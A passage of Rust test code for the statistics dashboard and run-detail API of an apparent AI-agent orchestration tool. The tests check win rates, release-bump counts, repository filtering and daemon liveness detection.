14041            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
14042            for (key, n, numerator) in [
14043                ("competitive_win_rate", competitive_n, a.competitive_wins),
14044                ("solo_adoption_rate", solo_n, a.solo_adopted),
14045            ] {
14046                if n == 0 {
14047                    assert!(v[key].is_null());
14048                } else {
14049                    assert_eq!(v[key]["denominator"], n);
14050                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
14051                }
14052            }
14053        }
14054        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
14055        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
14056        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
14057        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14058    }
14059
14060    #[test]
14061    fn stats_bars_share_one_id_keyed_plan() {
14062        let start = APP_JS
14063            .find("function statsBarRows(")
14064            .expect("statsBarRows exists");
14065        let body = &APP_JS[start..];
14066        let body = &body[..body.find("\n}\n").expect("function end")];
14067        assert!(body.contains("statsBarPlan(rows)"));
14068        assert!(body.contains("statsAgentTone(row.agent)"));
14069        assert!(!body.contains("candTone(i)"));
14070        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14071        for root in [
14072            "stats-agents-bars",
14073            "stats-solo-bars",
14074            "stats-reviewers-bars",
14075        ] {
14076            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
14077        }
14078    }
14079
14080    #[test]
14081    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
14082        let start = APP_JS
14083            .find("function renderStatsReviewerScatter(")
14084            .expect("renderStatsReviewerScatter exists");
14085        let body = &APP_JS[start..];
14086        let body = &body[..body.find("\n}\n").expect("function end")];
14087        assert!(body.contains("statsScatterPlan(reviewers)"));
14088        assert!(body.contains("statsAgentTone(d.agent)"));
14089        assert!(APP_JS.contains("function statsScatterPlan("));
14090        assert!(
14091            APP_JS.contains("d.submitted < STATS_LOW_N")
14092                || APP_JS.contains("r.submitted < STATS_LOW_N")
14093        );
14094        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
14095        assert!(APP_CSS.contains(".precision-scatter"));
14096    }
14097
14098    #[test]
14099    fn advisor_reflection_is_drawn_as_stacked_segments() {
14100        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
14101        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
14102        let html = include_str!("../assets/ui/index.html");
14103        assert!(html.contains("Approximate"));
14104        for label in ["reflected strongly", "faint", "no proposal"] {
14105            assert!(html.contains(label));
14106        }
14107        let css = include_str!("../assets/ui/app.css");
14108        for c in ["refl-strong", "refl-faint", "refl-absent"] {
14109            assert!(css.contains(&format!(".{c} {{")));
14110        }
14111    }
14112
14113    #[test]
14114    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
14115        assert!(APP_JS.contains("function statsDailyPlan("));
14116        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
14117        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
14118    }
14119
14120    #[test]
14121    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
14122        let start = APP_JS
14123            .find("function scheduleSearch(")
14124            .expect("scheduleSearch exists");
14125        let body = &APP_JS[start..];
14126        let body = &body[..body.find("\n}\n").expect("function end")];
14127        assert!(body.contains("s.seq += 1"));
14128    }
14129
14130    /// The dashboard reads every run's state itself rather than trusting a
14131    /// separately-maintained count, so an unreadable run must be counted the
14132    /// same way `/api/health` counts it - never silently dropped the way the
14133    /// CLI's own `stats::load_all` drops it.
14134    #[tokio::test]
14135    async fn stats_runs_unreadable_matches_health() {
14136        let f = Fixture::start().await;
14137        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14138        let broken = f.runs().join("20260902-140502-bad");
14139        std::fs::create_dir_all(&broken).expect("run dir");
14140        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14141
14142        let stats = f.get("/api/stats").await;
14143        let health = f.get("/api/health").await;
14144
14145        assert_eq!(stats.status, 200);
14146        assert_eq!(stats.json()["totals"]["runs"], 1);
14147        assert_eq!(stats.json()["runs_unreadable"], 1);
14148        assert_eq!(
14149            stats.json()["runs_unreadable"],
14150            health.json()["runs_unreadable"],
14151            "the dashboard and /api/health must never disagree about how many \
14152             runs could not be read"
14153        );
14154    }
14155
14156    #[tokio::test]
14157    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14158        let f = Fixture::start().await;
14159        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14160        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14161        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14162
14163        let totals = &f.get("/api/stats").await.json()["totals"];
14164        assert_eq!(totals["runs"], 3);
14165        assert_eq!(totals["merged"], 1);
14166        assert_eq!(totals["stalled"], 1);
14167        assert_eq!(totals["in_progress"], 1);
14168        // A stalled run must never read as blocked/merged/ready - it is its
14169        // own bucket, not folded into a "decided" one.
14170        assert_eq!(totals["blocked"], 0);
14171        assert_eq!(totals["ready"], 0);
14172    }
14173
14174    #[tokio::test]
14175    async fn stats_advisors_report_proposals_and_reflection() {
14176        use crate::advise::{Advice, AdvisorRecord, Reflection};
14177        use crate::verdict::Proposal;
14178
14179        let f = Fixture::start().await;
14180        let mut state = RunState::new(
14181            PathBuf::from("/repo/magi"),
14182            "main".to_owned(),
14183            "0123456789abcdef".to_owned(),
14184            "task".to_owned(),
14185            Config::default(),
14186        );
14187        state.id = "20260902-140501-a".to_owned();
14188        state.status = RunStatus::Merged;
14189        state.advice = Some(Advice {
14190            records: vec![
14191                AdvisorRecord {
14192                    seat: "advisor-1".to_owned(),
14193                    agent: "alpha".to_owned(),
14194                    proposal: Some(Proposal {
14195                        approach: "do it".to_owned(),
14196                        key_tradeoff: "speed over memory".to_owned(),
14197                        risks: Vec::new(),
14198                        touches: Vec::new(),
14199                        why_not_naive: "breaks under load".to_owned(),
14200                    }),
14201                    error: None,
14202                    duration_ms: 0,
14203                    reflection: Reflection::Strong,
14204                },
14205                AdvisorRecord {
14206                    seat: "advisor-2".to_owned(),
14207                    agent: "alpha".to_owned(),
14208                    proposal: None,
14209                    error: Some("timed out".to_owned()),
14210                    duration_ms: 0,
14211                    reflection: Reflection::Absent,
14212                },
14213            ],
14214            synthesis: Some("blended brief".to_owned()),
14215        });
14216        let dir = f.runs().join(&state.id);
14217        std::fs::create_dir_all(&dir).expect("run dir");
14218        std::fs::write(
14219            dir.join("run.json"),
14220            serde_json::to_string_pretty(&state).expect("serialize run"),
14221        )
14222        .expect("write run.json");
14223
14224        // `alpha` is in no roster here; this test is about the rates.
14225        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14226        let alpha = advisors
14227            .as_array()
14228            .expect("an array")
14229            .iter()
14230            .find(|a| a["agent"] == "alpha")
14231            .expect("alpha row");
14232        assert_eq!(alpha["seated"], 2);
14233        assert_eq!(alpha["proposed"], 1);
14234        assert_eq!(alpha["absent"], 1);
14235        assert_eq!(alpha["strong"], 1);
14236        assert_eq!(alpha["faint"], 0);
14237        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14238    }
14239
14240    #[tokio::test]
14241    async fn stats_hides_agents_outside_the_roster_unless_all() {
14242        use crate::run::Candidate;
14243        let repo = TempDir::new().expect("repo dir");
14244        std::fs::write(
14245            repo.path().join("magi.toml"),
14246            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14247        )
14248        .expect("magi.toml");
14249        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14250        let mut state = RunState::new(
14251            PathBuf::from("/repo/magi"),
14252            "main".to_owned(),
14253            "0123456789abcdef".to_owned(),
14254            "task".to_owned(),
14255            Config::default(),
14256        );
14257        state.id = "20260902-140501-a".to_owned();
14258        state.status = RunStatus::Merged;
14259        for (label, agent) in [('A', "keep"), ('B', "retired")] {
14260            let mut c: Candidate = serde_json::from_value(serde_json::json!({
14261                "index": 0, "label": label.to_string(), "agent": agent,
14262                "branch": "b", "worktree": "/w",
14263            }))
14264            .expect("candidate");
14265            c.label = label;
14266            state.candidates.push(c);
14267        }
14268        let dir = f.runs().join(&state.id);
14269        std::fs::create_dir_all(&dir).expect("run dir");
14270        std::fs::write(
14271            dir.join("run.json"),
14272            serde_json::to_string_pretty(&state).expect("serialize run"),
14273        )
14274        .expect("write run.json");
14275
14276        let agents_of = |v: &serde_json::Value| -> Vec<String> {
14277            v["agents"]
14278                .as_array()
14279                .expect("array")
14280                .iter()
14281                .map(|a| a["agent"].as_str().unwrap().to_owned())
14282                .collect()
14283        };
14284        let hidden = f.get("/api/stats").await.json();
14285        assert_eq!(agents_of(&hidden), ["keep"]);
14286        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14287        assert_eq!(hidden["totals"]["runs"], 1);
14288
14289        let all = f.get("/api/stats?all=true").await.json();
14290        assert_eq!(agents_of(&all).len(), 2);
14291        assert_eq!(all["retired_hidden"], serde_json::json!([]));
14292        // Verify competitive and solo keys exist on agent entries
14293        let keep_agent = all["agents"]
14294            .as_array()
14295            .unwrap()
14296            .iter()
14297            .find(|a| a["agent"] == "keep")
14298            .unwrap();
14299        assert_eq!(keep_agent["competitive_entered"], 1);
14300        assert_eq!(keep_agent["competitive_wins"], 0);
14301        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14302        assert_eq!(keep_agent["solo_entered"], 0);
14303        assert_eq!(keep_agent["solo_adopted"], 0);
14304        assert!(keep_agent["solo_adoption_rate"].is_null());
14305    }
14306
14307    #[tokio::test]
14308    async fn stats_release_bumps_split_clean_from_attention() {
14309        use crate::run::ReleaseBump;
14310
14311        let f = Fixture::start().await;
14312
14313        let mut clean = RunState::new(
14314            PathBuf::from("/repo/magi"),
14315            "main".to_owned(),
14316            "0123456789abcdef".to_owned(),
14317            "task".to_owned(),
14318            Config::default(),
14319        );
14320        clean.id = "20260902-140501-a".to_owned();
14321        clean.status = RunStatus::Merged;
14322        clean.release_bump = Some(ReleaseBump {
14323            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14324            version: Some("1.0.0".to_owned()),
14325            automerge_enabled: true,
14326            merged_directly: false,
14327            local: false,
14328            release: None,
14329            problem: None,
14330            action_required: None,
14331        });
14332
14333        let mut blocked = RunState::new(
14334            PathBuf::from("/repo/magi"),
14335            "main".to_owned(),
14336            "0123456789abcdef".to_owned(),
14337            "task".to_owned(),
14338            Config::default(),
14339        );
14340        blocked.id = "20260902-140502-b".to_owned();
14341        blocked.status = RunStatus::Merged;
14342        blocked.release_bump = Some(ReleaseBump {
14343            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14344            version: Some("1.0.1".to_owned()),
14345            automerge_enabled: false,
14346            merged_directly: false,
14347            local: false,
14348            release: None,
14349            problem: Some("checks red".to_owned()),
14350            action_required: Some("look at the PR".to_owned()),
14351        });
14352
14353        for state in [&clean, &blocked] {
14354            let dir = f.runs().join(&state.id);
14355            std::fs::create_dir_all(&dir).expect("run dir");
14356            std::fs::write(
14357                dir.join("run.json"),
14358                serde_json::to_string_pretty(state).expect("serialize run"),
14359            )
14360            .expect("write run.json");
14361        }
14362
14363        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14364        assert_eq!(bumps["merged"], 2);
14365        assert_eq!(bumps["recorded"], 2);
14366        assert_eq!(bumps["pr_opened"], 2);
14367        assert_eq!(bumps["automerge_enabled"], 1);
14368        assert_eq!(bumps["needs_attention"], 1);
14369        assert_eq!(bumps["clean"], 1);
14370        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14371        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14372    }
14373
14374    #[tokio::test]
14375    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14376        let f = Fixture::start().await;
14377        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14378
14379        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14380        assert_eq!(bumps["merged"], 1);
14381        assert_eq!(bumps["recorded"], 0);
14382        // `merged` is nonzero, so coverage still reads as a real 0%, not an
14383        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
14384        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14385        // `pr_opened` and `recorded` are both zero here, so these rates have
14386        // no denominator to compute from and must be null.
14387        assert_eq!(bumps["automerge_rate"], Value::Null);
14388        assert_eq!(bumps["attention_rate"], Value::Null);
14389    }
14390
14391    #[tokio::test]
14392    async fn stats_queue_counts_come_from_the_live_queue() {
14393        let f = Fixture::start().await;
14394        let q = f.queue();
14395        let mut queued = Task::new(
14396            "queued task".to_owned(),
14397            "do it".to_owned(),
14398            PathBuf::from("/repo"),
14399            Source::Human,
14400        );
14401        q.put(&mut queued).expect("put queued");
14402        let mut held = Task::new(
14403            "held task".to_owned(),
14404            "do it later".to_owned(),
14405            PathBuf::from("/repo"),
14406            Source::Human,
14407        );
14408        held.hold_machine(Some("out of attempts".to_owned()));
14409        q.put(&mut held).expect("put held");
14410
14411        let queue = f.get("/api/stats").await.json()["queue"].clone();
14412        assert_eq!(queue["queued"], 1);
14413        assert_eq!(queue["held"], 1);
14414        assert_eq!(queue["running"], 0);
14415        assert_eq!(queue["done"], 0);
14416        assert_eq!(queue["failed"], 0);
14417        assert_eq!(queue["blocked"], 0);
14418    }
14419
14420    #[tokio::test]
14421    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
14422        let f = Fixture::start().await;
14423        let stats = f.get("/api/stats").await;
14424        assert_eq!(stats.status, 200);
14425        assert_eq!(stats.json()["totals"]["runs"], 0);
14426        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
14427        assert_eq!(stats.json()["runs_unreadable"], 0);
14428        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
14429        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
14430        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
14431        assert_eq!(stats.json()["repo"], Value::Null);
14432    }
14433
14434    #[tokio::test]
14435    async fn stats_lists_every_repository_with_runs_recorded() {
14436        let f = Fixture::start().await;
14437        write_run_repo(
14438            &f.runs(),
14439            "20260902-140501-a",
14440            RunStatus::Merged,
14441            "/repos/a",
14442        );
14443        write_run_repo(
14444            &f.runs(),
14445            "20260902-140502-b",
14446            RunStatus::Merged,
14447            "/repos/a",
14448        );
14449        write_run_repo(
14450            &f.runs(),
14451            "20260902-140503-c",
14452            RunStatus::Blocked,
14453            "/repos/b",
14454        );
14455
14456        let stats = f.get("/api/stats").await;
14457        assert_eq!(stats.status, 200);
14458        // Unfiltered - the aggregate across both repositories.
14459        assert_eq!(stats.json()["totals"]["runs"], 3);
14460        assert_eq!(stats.json()["repo"], Value::Null);
14461
14462        let repos = stats.json()["repos"].clone();
14463        let repos = repos.as_array().unwrap();
14464        assert_eq!(repos.len(), 2);
14465        // Busiest (2 runs) first.
14466        assert_eq!(repos[0]["repo"], "/repos/a");
14467        assert_eq!(repos[0]["name"], "a");
14468        assert_eq!(repos[0]["runs"], 2);
14469        assert_eq!(repos[1]["repo"], "/repos/b");
14470        assert_eq!(repos[1]["runs"], 1);
14471    }
14472
14473    #[tokio::test]
14474    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
14475        let f = Fixture::start().await;
14476        write_run_repo(
14477            &f.runs(),
14478            "20260902-140501-a",
14479            RunStatus::Merged,
14480            "/repos/a",
14481        );
14482        write_run_repo(
14483            &f.runs(),
14484            "20260902-140502-b",
14485            RunStatus::Blocked,
14486            "/repos/b",
14487        );
14488
14489        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
14490        assert_eq!(stats.status, 200);
14491        assert_eq!(stats.json()["totals"]["runs"], 1);
14492        assert_eq!(stats.json()["totals"]["merged"], 1);
14493        assert_eq!(stats.json()["repo"], "/repos/a");
14494        // The repository list itself is unaffected by the filter - it is
14495        // what a client switches repositories from.
14496        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
14497        // runs_unreadable is a whole-workload count, never scoped to the
14498        // selected repository - see StatsView::runs_unreadable's own doc.
14499        assert_eq!(stats.json()["runs_unreadable"], 0);
14500    }
14501
14502    #[tokio::test]
14503    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
14504        let f = Fixture::start().await;
14505        write_run_repo(
14506            &f.runs(),
14507            "20260902-140501-a",
14508            RunStatus::Merged,
14509            "/repos/a",
14510        );
14511        write_run_repo(
14512            &f.runs(),
14513            "20260902-140502-b",
14514            RunStatus::Merged,
14515            "/repos/b",
14516        );
14517
14518        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
14519            let json = f.get(uri).await.json();
14520            let daily = json["daily"].as_array().expect("daily is an array");
14521            assert_eq!(daily.len(), 30);
14522            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
14523            let mut sorted = dates.clone();
14524            sorted.sort();
14525            assert_eq!(dates, sorted);
14526            for d in daily {
14527                assert_eq!(
14528                    d["merged"].as_u64().unwrap()
14529                        + d["ready"].as_u64().unwrap()
14530                        + d["other"].as_u64().unwrap(),
14531                    d["runs"].as_u64().unwrap()
14532                );
14533            }
14534            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
14535        }
14536    }
14537
14538    #[tokio::test]
14539    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
14540        let f = Fixture::start().await;
14541        write_run_repo(
14542            &f.runs(),
14543            "20260902-140501-a",
14544            RunStatus::Merged,
14545            "/repos/a",
14546        );
14547
14548        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
14549        assert_eq!(stats.status, 404);
14550    }
14551
14552    #[tokio::test]
14553    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
14554        let f = Fixture::start().await;
14555        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
14556
14557        let summary = f.get("/api/runs").await.json();
14558        let row = &summary[0];
14559        assert_eq!(row["short"], "a1b2");
14560        assert_eq!(row["status"], "ready");
14561        assert_eq!(row["done"], true);
14562        assert_eq!(row["title"], "Add a web UI");
14563        assert_eq!(row["repo_name"], "magi");
14564        assert_eq!(row["judges"], 3);
14565        assert_eq!(row["winner"], Value::Null);
14566        assert_eq!(row["reviews"], 0);
14567
14568        // The short id resolves, and the detail route is the state itself, not
14569        // a projection of it: the UI reads fields the summary does not carry.
14570        let detail = f.get("/api/runs/a1b2").await;
14571        assert_eq!(detail.status, 200);
14572        assert_eq!(detail.json()["base_branch"], "main");
14573        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
14574    }
14575
14576    /// `status: "ready"` alone cannot tell a run still headed for a landing
14577    /// (a PR closed without merging, say) apart from one `[merge] mode =
14578    /// "none"` left unmerged for good — the confusion the operator flagged
14579    /// after the CLI report already grew a `not landed — nothing to do by
14580    /// design` line for exactly this case (`report.rs`). Both the list route
14581    /// and the detail route must carry a flag the phone can key on instead of
14582    /// re-deriving it from `status` + `merge.mode` itself.
14583    #[tokio::test]
14584    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
14585        let f = Fixture::start().await;
14586
14587        let mut none_run = RunState::new(
14588            PathBuf::from("/repo/magi"),
14589            "main".to_owned(),
14590            "0123456789abcdef".to_owned(),
14591            "Add a web UI".to_owned(),
14592            Config::default(),
14593        );
14594        none_run.id = "20260902-140503-none".to_owned();
14595        none_run.status = RunStatus::Ready;
14596        none_run.merge = Some(crate::run::MergeOutcome {
14597            mode: crate::config::MergeMode::None,
14598            ok: true,
14599            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
14600            empty: false,
14601        });
14602        write_state(&f.runs(), &none_run);
14603
14604        let mut pr_run = RunState::new(
14605            PathBuf::from("/repo/magi"),
14606            "main".to_owned(),
14607            "0123456789abcdef".to_owned(),
14608            "Add a web UI".to_owned(),
14609            Config::default(),
14610        );
14611        pr_run.id = "20260902-140504-prcl".to_owned();
14612        pr_run.status = RunStatus::Ready;
14613        pr_run.merge = Some(crate::run::MergeOutcome {
14614            mode: crate::config::MergeMode::Pr,
14615            ok: false,
14616            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
14617            empty: false,
14618        });
14619        write_state(&f.runs(), &pr_run);
14620
14621        let summary = f.get("/api/runs").await.json();
14622        let rows: std::collections::HashMap<&str, &Value> = summary
14623            .as_array()
14624            .expect("an array")
14625            .iter()
14626            .map(|r| (r["id"].as_str().expect("an id"), r))
14627            .collect();
14628        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
14629        assert_eq!(
14630            rows[none_run.id.as_str()]["unmerged_by_design"],
14631            true,
14632            "a mode-none Ready must be flagged in the list"
14633        );
14634        assert_eq!(
14635            rows[pr_run.id.as_str()]["unmerged_by_design"],
14636            false,
14637            "a Ready reached by a closed pull request is a different case"
14638        );
14639
14640        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
14641        assert_eq!(none_detail["status"], "ready");
14642        assert_eq!(none_detail["unmerged_by_design"], true);
14643
14644        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
14645        assert_eq!(pr_detail["unmerged_by_design"], false);
14646    }
14647
14648    /// `RunState::active` is only ever cleared by whoever populated it, so the
14649    /// detail route also has to say whether a daemon is actually still
14650    /// driving this run right now — otherwise a seat from a killed process's
14651    /// last wave would read as live forever.
14652    #[tokio::test]
14653    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
14654        let f = Fixture::start().await;
14655        // Matches `write_daemon`'s hard-coded `current.run`, so the second
14656        // half of this test can claim the daemon is working on it without a
14657        // second helper.
14658        let id = "20260902-140502-bbbb";
14659        let mut state = RunState::new(
14660            PathBuf::from("/repo/magi"),
14661            "main".to_owned(),
14662            "0123456789abcdef".to_owned(),
14663            "Add a web UI".to_owned(),
14664            Config::default(),
14665        );
14666        state.id = id.to_owned();
14667        state.status = RunStatus::Judging;
14668        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
14669        let dir = f.runs().join(id);
14670        std::fs::create_dir_all(&dir).expect("run dir");
14671        std::fs::write(
14672            dir.join("run.json"),
14673            serde_json::to_string_pretty(&state).expect("serialize run"),
14674        )
14675        .expect("write run.json");
14676
14677        // No daemon.json at all, and no `driver_pid` recorded either (this
14678        // state was written directly, never through `execute()`): there is
14679        // nothing to confirm either way, so the route must say `"unknown"` —
14680        // never `"dead"`, which is exactly the false diagnosis a manual `magi
14681        // run` used to get from this route before `driver_pid` existed.
14682        let cold = f.get(&format!("/api/runs/{id}")).await.json();
14683        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14684        assert_eq!(cold["live"], "unknown", "{cold}");
14685
14686        // A fresh heartbeat naming exactly this run: the same entry now reads
14687        // as confirmed, not merely recorded.
14688        write_daemon(f.home.path(), Timestamp::now());
14689        let warm = f.get(&format!("/api/runs/{id}")).await.json();
14690        assert_eq!(warm["live"], "live", "{warm}");
14691    }
14692
14693    /// Where a run came from is shown, and a run written before origins were
14694    /// recorded (schema 12, no `origin` key) stays readable and says so.
14695    #[tokio::test]
14696    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14697        let f = Fixture::start().await;
14698        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14699            let mut state = RunState::new(
14700                PathBuf::from("/repo/magi"),
14701                "main".to_owned(),
14702                "0123456789abcdef".to_owned(),
14703                "Add a web UI".to_owned(),
14704                Config::default(),
14705            );
14706            state.id = id.to_owned();
14707            state.origin = origin;
14708            let mut value = serde_json::to_value(&state).expect("serialize run");
14709            if let Some(schema) = schema {
14710                value["schema"] = serde_json::json!(schema);
14711                value.as_object_mut().unwrap().remove("origin");
14712            }
14713            let dir = f.runs().join(id);
14714            std::fs::create_dir_all(&dir).expect("run dir");
14715            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14716        };
14717        write(
14718            "20260930-092817-ec34",
14719            Some(crate::run::Origin::from_agent_env(
14720                Some(("4a7b".to_owned(), "chat".to_owned())),
14721                None,
14722            )),
14723            None,
14724        );
14725        write("20260930-092817-0ld1", None, Some(12));
14726
14727        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14728        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14729        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14730
14731        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14732        assert_eq!(
14733            old["origin_label"], "origin unknown (started before origins were recorded)",
14734            "{old}"
14735        );
14736        assert!(old["origin"].is_null(), "{old}");
14737
14738        let list = f.get("/api/runs").await.json();
14739        let labels: Vec<_> = list
14740            .as_array()
14741            .unwrap()
14742            .iter()
14743            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14744            .collect();
14745        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14746    }
14747
14748    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
14749    /// review` claims no daemon at all, so before this field existed the
14750    /// route above read it as `"dead"` — indistinguishable from a run a
14751    /// killed process abandoned — the whole time it was genuinely still
14752    /// answering. With a live pid recorded, it must read `"live"` even
14753    /// though no daemon claims it.
14754    #[tokio::test]
14755    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14756        let f = Fixture::start().await;
14757        let id = "20260922-090000-cccc";
14758        let mut state = RunState::new(
14759            PathBuf::from("/repo/magi"),
14760            "main".to_owned(),
14761            "0123456789abcdef".to_owned(),
14762            "Review only".to_owned(),
14763            Config::default(),
14764        );
14765        state.id = id.to_owned();
14766        state.status = RunStatus::Reviewing;
14767        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14768        // This test process's own pid: guaranteed alive, and never needs a
14769        // real daemon or a second process to prove it. The matching start-time
14770        // marker is what `liveness` now requires alongside a live pid — see
14771        // `RunState::driver_started_at`'s own doc for why the pid alone is
14772        // not enough.
14773        state.driver_pid = Some(std::process::id());
14774        state.driver_started_at = Some(
14775            crate::proc::process_started_at(std::process::id())
14776                .expect("this test process's own start time must be queryable"),
14777        );
14778        let dir = f.runs().join(id);
14779        std::fs::create_dir_all(&dir).expect("run dir");
14780        std::fs::write(
14781            dir.join("run.json"),
14782            serde_json::to_string_pretty(&state).expect("serialize run"),
14783        )
14784        .expect("write run.json");
14785
14786        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14787        assert_eq!(detail["live"], "live", "{detail}");
14788    }
14789
14790    /// A killed manual run's pid can be handed to a wholly unrelated later
14791    /// process — a live query on `driver_pid` alone would read this as
14792    /// `"live"`, exactly the false positive `driver_started_at` exists to
14793    /// catch (see that field's own doc, and `RunState::liveness_with`'s
14794    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
14795    #[tokio::test]
14796    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14797        let f = Fixture::start().await;
14798        let id = "20260922-090100-dddd";
14799        let mut state = RunState::new(
14800            PathBuf::from("/repo/magi"),
14801            "main".to_owned(),
14802            "0123456789abcdef".to_owned(),
14803            "Review only".to_owned(),
14804            Config::default(),
14805        );
14806        state.id = id.to_owned();
14807        state.status = RunStatus::Reviewing;
14808        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14809        // This test process's own pid really is alive, but the marker
14810        // recorded here does not match what it actually started at —
14811        // standing in for the pid having since been reused by a different
14812        // process than the one that wrote `run.json`.
14813        state.driver_pid = Some(std::process::id());
14814        state.driver_started_at = Some("1".to_owned());
14815        let dir = f.runs().join(id);
14816        std::fs::create_dir_all(&dir).expect("run dir");
14817        std::fs::write(
14818            dir.join("run.json"),
14819            serde_json::to_string_pretty(&state).expect("serialize run"),
14820        )
14821        .expect("write run.json");
14822
14823        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14824        assert_eq!(detail["live"], "dead", "{detail}");
14825    }
14826
14827    /// The deck's competition list is normally the first place an operator
14828    /// sees an old run. It must carry the same process verdict as detail, or
14829    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
14830    #[test]
14831    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14832        let mk = |id: &str, pid: Option<u32>| {
14833            let mut s = RunState::new(
14834                PathBuf::from("/repo/magi"),
14835                "main".to_owned(),
14836                "0123456789abcdef".to_owned(),
14837                "Add a web UI".to_owned(),
14838                Config::default(),
14839            );
14840            s.id = id.to_owned();
14841            s.driver_pid = pid;
14842            s.driver_started_at = Some("1790000000".to_owned());
14843            s
14844        };
14845        let states = vec![
14846            mk("20260902-140502-aaaa", Some(77)),
14847            mk("20260902-140502-bbbb", Some(77)),
14848            mk("20260902-140502-cccc", Some(77)),
14849            mk("20260902-140502-dddd", None),
14850        ];
14851        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14852        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14853        let sup: HashMap<String, String> = [(
14854            "20260902-140502-aaaa".to_owned(),
14855            "20260902-140502-cccc".to_owned(),
14856        )]
14857        .into();
14858
14859        let status_calls = std::cell::Cell::new(0);
14860        let identity_calls = std::cell::Cell::new(0);
14861        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14862            |_| {
14863                status_calls.set(status_calls.get() + 1);
14864                Some(true)
14865            },
14866            |_| {
14867                identity_calls.set(identity_calls.get() + 1);
14868                Some("1790000000".to_owned())
14869            },
14870        ));
14871        let rows = summarize(
14872            states,
14873            &open,
14874            &claimed,
14875            &sup,
14876            |p| probe.borrow_mut().status(p),
14877            |p| probe.borrow_mut().started_at(p),
14878        );
14879
14880        assert_eq!(status_calls.get(), 1, "one pid, one status query");
14881        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
